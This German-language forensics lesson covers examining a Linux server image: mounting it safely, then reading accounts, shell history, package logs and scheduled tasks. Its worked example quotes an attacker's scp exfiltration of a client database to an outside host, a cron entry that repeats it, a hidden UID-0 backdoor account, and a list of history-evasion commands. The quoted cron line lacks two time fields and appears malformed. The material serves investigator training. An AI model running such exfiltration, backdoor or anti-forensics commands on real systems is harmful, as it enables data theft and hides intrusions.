Grundlagen von macOS und Linux · Lektion 3 von 5
Linux: Verzeichnisstruktur, Benutzer, Shell-Verlauf und geplante Aufgaben
12 Min. Lesezeit
Ein Linux-System speichert fast alles, was ein Prüfer benötigt, als Klartextdateien in bekannten Verzeichnissen: welche Konten existieren, wie das System heißt, welche Software installiert wurde, was Benutzer eingegeben haben und was nach einem Zeitplan ausgeführt wird. Diese Lektion zeigt, wo sich diese Dateien in einem Image eines Debian-basierten Servers befinden, wie Sie sie lesen, ohne die Beweismittel zu verändern, und was jede einzelne belegt. Protokolle werden in Lektion 6.4 und Persistenz in Lektion 6.5 behandelt.
Ein Image lesen, ohne es zu verändern
Arbeiten Sie mit einer verifizierten Kopie, machen Sie ein E01 mit einem Werkzeug wie ewfmount zugänglich und ermitteln Sie den Partitionsoffset mit mmls (Startsektor 2.048 × 512 = Byte-Offset 1.048.576). Binden Sie anschließend das ext4-Volume mit mount -t ext4 -o ro,noexec,nodev,noload,offset=1048576 <image> /mnt/ev ein.
noexec und nodev verhindern, dass Programme und Gerätedateien auf dem Beweismittel verwendet werden. noload ist am wichtigsten. Wurde das Image des Servers im laufenden Betrieb oder nach einem Absturz erstellt, trägt der Superblock das Flag needs_recovery, und der ext4-Treiber spielt das Journal beim Einbinden erneut ein, selbst mit ro, da sich ro auf das eingebundene Dateisystem und nicht auf das Gerät bezieht. Das erneute Einspielen schreibt Metadatenblöcke in Ihr Image. Ist das Gerät selbst schreibgeschützt, schlägt das Einbinden stattdessen fehl. noload weist ext4 an, das Journal nicht zu laden. Dadurch wird nichts geschrieben, und Sie sehen die Blöcke genau so, wie sie im Image erfasst wurden. Der Preis dafür ist, dass die letzten bestätigten Transaktionen nicht angewendet werden und die Ansicht daher etwas veraltet sein kann; diese Transaktionen verbleiben im Journal (Lektion 1.6).
Beim Lesen eines fremden Systems mit Ihrem eigenen ergeben sich zwei Fallstricke:
ls -lzeigt Eigentümernamen aus Ihrer/etc/passwdan. Verwenden Siels -lnfür numerische UIDs und ordnen Sie diese anhand der/etc/passwddes Beweismittels zu.- Ein absoluter symbolischer Link wie
/etc/localtime → /usr/share/zoneinfo/America/Sao_Paulowird auf Ihrer Arbeitsstation aufgelöst. Lesen Sie das Linkziel mitls -loderreadlink, statt die Datei zu öffnen.
The Sleuth Kit kommt vollständig ohne Einbinden aus: fls -r listet Namen auf, istat zeigt einen Inode an und icat extrahiert Inhalte anhand der Inode-Nummer.
Auf einem laufenden System können Sie getent passwd, last, crontab -l -u <user>, atq und systemctl list-timers --all ausführen. Ein kompromittierter Host könnte diese Binärdateien jedoch ersetzt haben, und jeder Befehl verändert das System. Sichern Sie zuerst den Arbeitsspeicher (Lektion 5.1) und verwenden Sie dann ein Erfassungswerkzeug wie UAC (Unix-like Artifacts Collector), ein Shell-Skript, das Artefaktdateien und Befehlsausgaben in ein mit Hashwerten versehenes Archiv kopiert. Plaso kann anschließend aus der Erfassung oder dem Image eine Zeitleiste erstellen.
Die Verzeichnisstruktur
Der Filesystem Hierarchy Standard (FHS) legt für die meisten Distributionen fest, wo sich die einzelnen Bestandteile befinden.
| Pfad | Wonach ein Prüfer sucht |
|---|---|
/etc | Systemkonfiguration: Konten, Identität, Netzwerk, cron, systemd-Units |
/home/<user>, /root | Benutzerdateien, mit einem Punkt beginnende Dateien mit Verläufen, .ssh; /root ist das Home-Verzeichnis von root |
/var/log | Textprotokolle, rotierte Protokolle, journald (Lektion 6.4) |
/var/lib | Anwendungszustand: Paketdatenbanken, /var/lib/dpkg, /var/lib/rpm, Datenbanken, Container |
/var/spool | Warteschlangen: cron- und at-Aufträge, E-Mail |
/tmp, /var/tmp | Für alle beschreibbare Zwischenablagebereiche |
/dev/shm | Gemeinsam genutzter Speicher, immer ein RAM-Dateisystem (tmpfs) |
/opt, /usr/local | Außerhalb der Paketverwaltung installierte Software, einschließlich Angriffswerkzeugen |
/boot | Kernel (vmlinuz-<version>), initramfs und GRUB-Konfiguration; die zum Erstellen einer Volatility-Symboltabelle benötigte Kernel-Version (Lektion 5.2) |
Systemidentität
/etc/os-releaseenthältPRETTY_NAME,IDundVERSION_ID(unter Debian ist sie häufig ein symbolischer Link auf/usr/lib/os-release;/etc/debian_versiongibt die Unterversion an)./etc/hostnameenthält den Hostnamen;/etc/hostsenthält statische Namenszuordnungen. Eine hinzugefügte Zeile, die eine Domain eines Sicherheitsanbieters oder eines Unternehmens umleitet, ist ein Befund.- Die Zeitzone ist das Ziel des symbolischen Links
/etc/localtime, beispielsweise/usr/share/zoneinfo/America/Sao_Paulo. Systeme der Debian-Familie können außerdem/etc/timezoneenthalten, eine einzeilige Textkopie; stimmen beide nicht überein, verwendet die C-Bibliothek/etc/localtime. Sie benötigen diese Zeitzone für jedes Protokoll mit Ortszeitangaben und für cron-Zeitpläne. /etc/machine-idbesteht aus 32 kleingeschriebenen Hexadezimalzeichen (128 Bits), die bei der Installation erzeugt werden. Sie gibt dem Journal-Verzeichnis/var/log/journal/<machine-id>/seinen Namen und identifiziert die Installation; geklonte virtuelle Maschinen können denselben Wert haben.- Die Netzwerkkonfiguration befindet sich in
/etc/network/interfaces(Debian ifupdown),/etc/netplan/*.yaml(Ubuntu seit 17.10) oder/etc/NetworkManager/system-connections/*.nmconnection(Desktop-Systeme; WLAN-SSIDs und, sofern nicht in einem Schlüsselbund gespeichert, der Schlüsselpsk=).
Installierte Software
Unter Debian und Ubuntu zeichnet /var/log/dpkg.log jede Aktion mit einem Ortszeitstempel auf, beispielsweise 2026-03-14 08:20:51 install nmap:amd64 <none> 7.93+dfsg1-1. /var/log/apt/history.log fasst jeden apt-Lauf in einem Block mit Start-Date, Commandline, Requested-By (dem sudo-Benutzer und der UID, wenn apt über sudo ausgeführt wurde) und der Paketliste zusammen; term.log enthält die Terminalausgabe. Beide werden rotiert (dpkg.log.1, dpkg.log.2.gz). /var/lib/dpkg/status enthält den aktuellen Paketstatus ohne Datumsangaben, und die Änderungszeit von /var/lib/dpkg/info/<package>.list liefert einen Näherungswert für den Installationszeitpunkt, nachdem die Protokolle durch Rotation nicht mehr vorhanden sind.
Auf Systemen der RHEL-Familie befindet sich die Datenbank unter /var/lib/rpm (rpmdb.sqlite unter RHEL 9 und neueren Fedora-Versionen, Berkeley DB Packages bei älteren Versionen). rpm -qa --last listet Pakete mit Installationszeiten auf, die neuesten zuerst; verwenden Sie bei einem Image rpm --dbpath <copy-of-var/lib/rpm> -qa --last. /var/log/dnf.log und dnf.rpm.log protokollieren Transaktionen (/var/log/yum.log unter RHEL 7).
Benutzer, Gruppen und Berechtigungen
/etc/passwd hat sieben durch Doppelpunkte getrennte Felder: name:x:UID:GID:GECOS:home:shell. Das x bedeutet, dass sich der Hash in /etc/shadow befindet. Der Kernel prüft nur die Nummer: Jedes Konto mit UID 0 besitzt vollständige root-Rechte, unabhängig von seinem Namen. Systemkonten verwenden niedrige UIDs (1–999 unter Debian sowie RHEL 7 und neuer); reguläre Benutzer beginnen normalerweise bei 1.000 (UID_MIN in /etc/login.defs). Eine Shell von /usr/sbin/nologin oder /bin/false blockiert die interaktive Anmeldung. Neue Konten werden angehängt und stehen daher normalerweise in den letzten Zeilen.
/etc/shadow hat neun Felder: name:hash:lastchg:min:max:warn:inactive:expire:reserved. Das Hash-Präfix bezeichnet den Algorithmus: $1$ MD5, $5$ SHA-256, $6$ SHA-512 crypt, $y$ yescrypt (der Standard seit Debian 11 und Ubuntu 22.04). Ein mit ! beginnender Hash ist gesperrt; * oder ! allein bedeutet, dass keine Passwortanmeldung möglich ist. lastchg ist das Datum der letzten Passwortänderung in Tagen seit 1970-01-01, ohne Uhrzeit.
/etc/group hat das Format name:x:GID:members. Die Mitgliedschaft in sudo (Debian/Ubuntu) oder wheel (RHEL) gewährt administrative Rechte über sudo; adm kann den Großteil von /var/log lesen. Primäre Gruppen werden nicht im Mitgliederfeld aufgeführt. /etc/sudoers und Dateien in /etc/sudoers.d/ definieren die Regeln; eine Zeile wie backup2 ALL=(ALL) NOPASSWD: ALL verdient Aufmerksamkeit. sudo ignoriert Dateien in diesem Verzeichnis, deren Namen einen Punkt enthalten oder auf ~ enden.
Shell-Verlauf und andere Artefakte im Home-Verzeichnis
Bash hält den Verlauf im Arbeitsspeicher und schreibt ~/.bash_history, wenn die Shell beendet wird: Ist histappend gesetzt, wird der Verlauf angehängt (die standardmäßige .bashrc von Debian und Ubuntu setzt diese Option), andernfalls wird die Datei überschrieben. Anschließend wird sie auf HISTFILESIZE Zeilen gekürzt. Die Zeilen enthalten keine Zeitangabe, sofern HISTTIMEFORMAT nicht in dieser Shell gesetzt war; bash schreibt dann vor jedem Befehl eine Kommentarzeile #<epoch> (Unix-Sekunden, UTC), die festhält, wann der Befehl eingegeben wurde, nicht ob er erfolgreich war. Shells, die zu unterschiedlichen Zeiten beendet werden, hinterlassen Blöcke außerhalb der chronologischen Reihenfolge. Die .bashrc von Debian und Ubuntu setzt außerdem HISTCONTROL=ignoreboth, wodurch Befehle weggelassen werden, die mit einem führenden Leerzeichen eingegeben wurden.
Ein fehlender oder kurzer Verlauf ist selbst ein Ermittlungsansatz. unset HISTFILE, HISTFILE=/dev/null, HISTSIZE=0, set +o history, history -c, das Beenden der Shell mit kill -9 $$ oder ein symbolischer Link von ~/.bash_history auf /dev/null sind Indikatoren für Anti-Forensik. Befehle aus Shells, die zum Erfassungszeitpunkt noch liefen, können mit linux.bash aus dem Arbeitsspeicher wiederhergestellt werden (Lektion 5.2).
Weitere benutzerspezifische Dateien:
| Datei | Inhalt |
|---|---|
~/.zsh_history | Mit EXTENDED_HISTORY: : <epoch>:<duration>;command (Startzeit und verstrichene Sekunden) |
~/.python_history, ~/.mysql_history | Interaktive Interpreter- und Client-Befehle, ohne Zeitangaben |
~/.lesshst | Suchmuster und innerhalb von less eingegebene Befehle |
~/.viminfo | Befehlszeilen- und Suchverlauf, Register, zuletzt bearbeitete Dateien mit Positionen; Vim 8 und neuer speichern auch Epoch-Zeitstempel |
~/.ssh/known_hosts | Hostschlüssel von Servern, die der SSH-Client dieses Benutzers akzeptiert hat; Namen können gehasht sein (siehe unten) |
~/.ssh/authorized_keys | Öffentliche Schlüssel, die zur Anmeldung als dieser Benutzer berechtigen (Persistenz, Lektion 6.5) |
~/.ssh/id_* | Private und öffentliche Schlüssel; der .pub-Kommentar nennt häufig user@host |
~/.wget-hsts | Von wget kontaktierte HTTPS-Hosts, die HSTS gesendet haben, mit Erstellungszeit als Epoch-Zeitstempel und max-age |
~/.local/share/recently-used.xbel | Desktop-Systeme: geöffnete Dateien mit Anwendung und UTC-Zeitangaben nach ISO 8601 |
Mit HashKnownHosts yes (der standardmäßigen Client-Einstellung von Debian) beginnt jeder known_hosts-Eintrag mit |1|, gefolgt von einem Salt und einem HMAC-SHA1 des Hostnamens. Sie können jedoch einen Kandidaten prüfen: ssh-keygen -F 198.51.100.23 -f known_hosts.
Geplante Aufgaben
/etc/crontabund/etc/cron.d/*verwenden sechs Felder plus Befehl: Minute, Stunde, Tag des Monats, Monat, Wochentag, Benutzer, Befehl./etc/cron.hourly,cron.daily,cron.weekly,cron.monthlyenthalten Skripte, die vonrun-parts(oder anacron) ausgeführt werden. Debiansrun-partsüberspringt Namen mit einem Punkt, sodass eine dort abgelegtesync.shniemals ausgeführt wird.- Benutzer-crontabs, die mit
crontab -ebearbeitet werden, besitzen kein Benutzerfeld und liegen unter Debian in/var/spool/cron/crontabs/<user>oder unter RHEL in/var/spool/cron/<user>. Debianscrontabschreibt einen Kopfkommentar, der normalerweise in Ortszeit angibt, wann die Datei installiert wurde; die mtime der Datei hält denselben Zeitpunkt fest. - at-Aufträge sind Skripte in
/var/spool/cron/atjobs(Debian) oder/var/spool/at(RHEL), die nach ihrer Ausführung gelöscht werden. Der Dateiname codiert den Warteschlangenbuchstaben, die Auftragsnummer und den Ausführungszeitpunkt in hexadezimalen Minuten seit 1970. - systemd-Timer sind
*.timer-Units in/etc/systemd/system/(und als Paket bereitgestellte in/usr/lib/systemd/system/) oder benutzerspezifisch in~/.config/systemd/user/. Sie werden durch einen symbolischen Link intimers.target.wants/aktiviert. Jeder löst standardmäßig die gleichnamige.serviceaus.systemctl list-timers --allzeigt auf dem laufenden System die nächsten und letzten Ausführungen an.
Cron interpretiert Zeitpläne in der lokalen Zeitzone des Systems.
Temporäre Bereiche und Zwischenablagebereiche
Angreifer legen Archive und Werkzeuge vorübergehend in /tmp, /var/tmp und /dev/shm ab, häufig unter versteckten Namen wie /tmp/.x. /dev/shm existiert nur im RAM und ist daher niemals in einem Datenträger-Image enthalten; der Arbeitsspeicher kann es enthalten. /tmp ist unter Debian 13 und Fedora ein tmpfs, wird unter Debian 12 und Ubuntu beim Systemstart geleert und andernorts durch systemd-tmpfiles-Regeln altersabhängig bereinigt; /var/tmp übersteht Neustarts, wird aber unter Debian 13 und anderen Systemen, die die standardmäßigen tmpfiles-Regeln von systemd verwenden, ebenfalls altersabhängig bereinigt (typischerweise nach 30 Tagen). Gelöschte Einträge können weiterhin sichtbar sein, wie in Lektion 1.6 beschrieben.
Durchgearbeitetes Beispiel: ein Debian-Server
Ein eigenständiger Debian-12-Server; /etc/localtime verweist auf /usr/share/zoneinfo/America/Sao_Paulo (UTC−3).
- Die letzte Zeile von
/etc/passwdlautetbackup2:x:0:0:,,,:/home/backup2:/bin/bash. Debian besitzt bereits ein legitimesbackup:x:34:34:...:/usr/sbin/nologin; dieses ähnlich benannte Konto hat UID 0 und eine Login-Shell und ist somit ein zweites root-Konto. /etc/shadowzeigtbackup2:$y$j9T$...:20526:0:99999:7:::. lastchg 20.526 Tage × 86.400 = 1.773.446.400 s, waspython3 -c "import datetime as d; print(d.date(1970,1,1)+d.timedelta(days=20526))"als 2026-03-14 bestätigt. Das Passwort wurde an diesem UTC-Tag gesetzt; eine Uhrzeit ist nicht aufgezeichnet./root/.bash_historyenthält#1773486600, gefolgt vonscp /srv/data/clients.sql user@198.51.100.23:/tmp/. 1.773.486.600 − 1.773.446.400 = 40.200 s = 11 h 10 min, also 2026-03-14T11:10:00Z (08:10 Ortszeit). Dies belegt, dass der Befehl in einer root-Shell eingegeben wurde; ob der Kopiervorgang erfolgreich war, muss anhand der SSH- und Netzwerkbeweismittel aus Lektion 6.4 geklärt werden./var/spool/cron/crontabs/rootenthält15 2 * scp /srv/data/clients.sql user@198.51.100.23:/tmp/ >/dev/null 2>&1. Der Eintrag wiederholt die Übertragung täglich um 02:15 Ortszeit, also um 05:15Z, und verwirft die Ausgabe. Vergleichen Sie den Installationszeitpunkt im Kopfkommentar und die mtime der Datei mit dem Verlauf.
Zusammengefasst: ein am 14. März eingerichtetes verstecktes root-Konto, eine manuelle Exfiltration an diesem Morgen und eine geplante Wiederholung.
Frage → Datei
| Frage | Datei |
|---|---|
| Welche Distribution und Version? | /etc/os-release, /etc/debian_version |
| Hostname und Zeitzone? | /etc/hostname; Ziel von /etc/localtime |
| Was wurde wann und von wem installiert? | /var/log/dpkg.log*, /var/log/apt/history.log*; rpm -qa --last, /var/log/dnf.log |
| Wer hat root-gleiche Rechte? | /etc/passwd (UID 0) |
| Wann wurde ein Passwort gesetzt? | /etc/shadow Feld 3 |
| Wer darf sudo verwenden? | /etc/group, /etc/sudoers, /etc/sudoers.d/ |
| Was hat ein Benutzer eingegeben? | ~/.bash_history, ~/.zsh_history, Arbeitsspeicher |
| Welche Server hat ein Benutzer per SSH erreicht? | ~/.ssh/known_hosts |
| Was wird nach einem Zeitplan ausgeführt? | /etc/crontab, /etc/cron.d/, /var/spool/cron/, *.timer-Units |
Prüfungsschwerpunkt: Rechnen Sie damit, eine#<epoch>-Verlaufszeile oder eine zsh-Zeile: <epoch>:in UTC nach ISO 8601 umzuwandeln, einen lastchg-Wert aus shadow in ein Datum umzuwandeln und ein Konto mit UID 0 zu identifizieren, das nicht root heißt. Sie können außerdem gefragt werden, warumnoloadbenötigt wird, wo Debian und RHEL Benutzer-crontabs speichern und warum eine fehlende oder leere Verlaufsdatei bedeutsam ist.
Kernpunkte
- Binden Sie ext4-Beweismittel mit
ro,noexec,nodev,noloadein;roallein kann dennoch ein unsauberes Journal erneut in das Image einspielen. - Jedes Konto mit UID 0 ist root; lastchg in shadow zählt Tage seit 1970 ohne Uhrzeit;
$y$steht für yescrypt,$6$für SHA-512 crypt. - Bash schreibt den Verlauf beim Beenden und speichert
#<epoch>-Zeilen nur, wenn HISTTIMEFORMAT gesetzt war; ein fehlender Verlauf ist ein Ermittlungsansatz für Anti-Forensik. known_hostszeigt ausgehende SSH-Verbindungen;authorized_keyszeigt, wer sich anmelden darf.- Prüfen Sie alle Mechanismen zur Aufgabenplanung:
/etc/crontab,/etc/cron.d, diecron.*-Verzeichnisse, Benutzer-crontabs, at-Aufträge und systemd-Timer, und lesen Sie Zeitpläne in der lokalen Zeitzone des Systems.